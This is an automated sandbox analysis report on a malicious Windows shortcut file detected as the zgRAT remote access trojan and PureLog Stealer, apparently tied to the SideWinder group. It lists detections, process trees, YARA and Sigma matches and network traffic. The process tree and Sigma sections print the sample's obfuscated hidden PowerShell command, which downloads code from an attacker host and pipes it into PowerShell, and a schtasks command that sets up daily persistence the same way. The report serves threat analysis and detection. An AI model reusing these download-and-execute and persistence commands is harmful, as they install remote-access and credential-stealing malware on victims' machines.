Edit tour

Windows Analysis Report
BX7yRz7XqF.lnk

Overview

General Information

Sample name:	BX7yRz7XqF.lnk renamed because original name is a hash value
Original sample name:	7d1585f9ed317bf06a63bd5aaaf015f6066c51a7153370579b2836d66142f877.lnk
Analysis ID:	1522858
MD5:	b642cbf2d292b2e92d5038e6dfbd2de7
SHA1:	4f92090113a65f13fa6ad128c7e492984a99d294
SHA256:	7d1585f9ed317bf06a63bd5aaaf015f6066c51a7153370579b2836d66142f877
Tags:	lnkSideWinderuser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Windows shortcut file (LNK) starts blacklisted processes

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Machine Learning detection for sample

Obfuscated command line found

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses nslookup.exe to query domains

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Windows shortcut file (LNK) contains suspicious command line arguments

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 5140 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6904 cmdline: "C:\Windows\system32\PING.EXE" www.nadra.gov.pk MD5: 2F46799D79D22AC72C241EC0322B011D)

nslookup.exe (PID: 6648 cmdline: "C:\Windows\system32\nslookup.exe" www.yahoo.com MD5: F2E3950C1023ACF80765C918791999C0)

nslookup.exe (PID: 6532 cmdline: "C:\Windows\system32\nslookup.exe" www.protonmail.com MD5: F2E3950C1023ACF80765C918791999C0)

chrome.exe (PID: 4656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pmo.gov.pk/site/404 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1916,i,14445282091827991487,7005601379036879201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

powershell.exe (PID: 7616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7848 cmdline: "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

schtasks.exe (PID: 7864 cmdline: schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

svchost.exe (PID: 1536 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

powershell.exe (PID: 7884 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.EXE -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8136 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71bec:$s1: file:/// 0x71ad8:$s2: {11111-22222-10009-11112} 0x71b7c:$s3: {11111-22222-50001-00000} 0x6ae33:$s4: get_Module 0x6b27d:$s5: Reverse 0x71001:$s6: BlockCopy 0x71018:$s7: ReadByte 0x71bfe:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 8136	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x52b567:$b2: ::FromBase64String( 0x2ab38:$s1: -join 0x37d8f:$s1: -join 0x3b251:$s1: -join 0x3b8eb:$s1: -join 0x3d3e7:$s1: -join 0x3f649:$s1: -join 0x3fe70:$s1: -join 0x406e1:$s1: -join 0x40e1c:$s1: -join 0x40e4e:$s1: -join 0x40e96:$s1: -join 0x40eb5:$s1: -join 0x41706:$s1: -join 0x41882:$s1: -join 0x418fa:$s1: -join 0x4198d:$s1: -join 0x41be4:$s1: -join 0x43d8f:$s1: -join 0x1c8528:$s1: -join 0x1c86e5:$s1: -join

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.powershell.exe.1d1c9b50000.6.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.powershell.exe.1d1c9b50000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.powershell.exe.1d1c9b50000.6.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71bec:$s1: file:/// 0x71ad8:$s2: {11111-22222-10009-11112} 0x71b7c:$s3: {11111-22222-50001-00000} 0x6ae33:$s4: get_Module 0x6b27d:$s5: Reverse 0x71001:$s6: BlockCopy 0x71018:$s7: ReadByte 0x71bfe:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.powershell.exe.1d1c9b50000.6.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.powershell.exe.1d1c9b50000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.powershell.exe.1d1c9b50000.6.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x6fdec:$s1: file:/// 0x6fcd8:$s2: {11111-22222-10009-11112} 0x6fd7c:$s3: {11111-22222-50001-00000} 0x69033:$s4: get_Module 0x6947d:$s5: Reverse 0x6f201:$s6: BlockCopy 0x6f218:$s7: ReadByte 0x6fdfe:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.powershell.exe.1d1c1260f78.4.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.powershell.exe.1d1c1260f78.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.powershell.exe.1d1c1260f78.4.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x6fdec:$s1: file:/// 0x6fcd8:$s2: {11111-22222-10009-11112} 0x6fd7c:$s3: {11111-22222-50001-00000} 0x69033:$s4: get_Module 0x6947d:$s5: Reverse 0x6f201:$s6: BlockCopy 0x6f218:$s7: ReadByte 0x6fdfe:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
15.2.powershell.exe.1d1c1260f78.4.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
15.2.powershell.exe.1d1c1260f78.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
15.2.powershell.exe.1d1c1260f78.4.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x71bec:$s1: file:/// 0x71ad8:$s2: {11111-22222-10009-11112} 0x71b7c:$s3: {11111-22222-50001-00000} 0x6ae33:$s4: get_Module 0x6b27d:$s5: Reverse 0x71001:$s6: BlockCopy 0x71018:$s7: ReadByte 0x71bfe:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, ProcessId: 5140, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell, ProcessId: 5140, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1536, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f, CommandLine: "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7616, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f, ProcessId: 7848, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: BX7yRz7XqF.lnk

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Machine Learning detection for sample

Source: BX7yRz7XqF.lnk

Joe Sandbox ML: detected

Source: https://pmo.gov.pk/site/404

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 172.67.149.9:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.234:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49725 version: TLS 1.2

Source:	Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ECEE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Adobe.pdb source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Adobe.pdb( source: powershell.exe, 0000000F.00000002.1653750682.000001D1C1143000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1673745614.000001D1C9B50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ED98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb@ source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1472696900.000002487ED98000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb^ source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbPi source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F14A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer328 source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\Z:\syscalls\amsi_trace64.amsi.csv.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb source: powershell.exe, 0000000F.00000002.1669768304.000001D1C956B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 0000000A.00000002.1474008637.000002487F140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000000A.00000002.1474008637.000002487F14A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 0000000F.00000002.1672029257.000001D1C9810000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdb+ source: powershell.exe, 0000000A.00000002.1474008637.000002487F0E2000.00000004.00000020.00020000.00000000.sdmp

Networking

Uses nslookup.exe to query domains

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.yahoo.com
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.protonmail.com
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.yahoo.com	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\nslookup.exe "C:\Windows\system32\nslookup.exe" www.protonmail.com	Jump to behavior

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" www.nadra.gov.pk

Source: global traffic

HTTP traffic detected: GET /?v=9&encording=json HTTP/1.1Connection: Upgrade,Keep-AliveUpgrade: websocketSec-WebSocket-Key: 0h1HX+d4bLFaNYIrsTupkQ==Sec-WebSocket-Version: 13Host: gateway.discord.gg

Source: Joe Sandbox View	IP Address: 162.159.135.234 162.159.135.234
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CYBERNET-APCyberInternetServicesPvtLtdPK CYBERNET-APCyberInternetServicesPvtLtdPK

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	UDP traffic detected without corresponding DNS query: 20.101.57.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /site/404 HTTP/1.1Host: pmo.gov.pkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pmo.gov.pkConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookiesession1=678B28B3B2979C8EA40140B962781A42
Source: global traffic	HTTP traffic detected: GET /DSCTSC/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ofc.mofserviceserver.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+RXM+ul9gZsDE19&MD=3r6m3nSv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
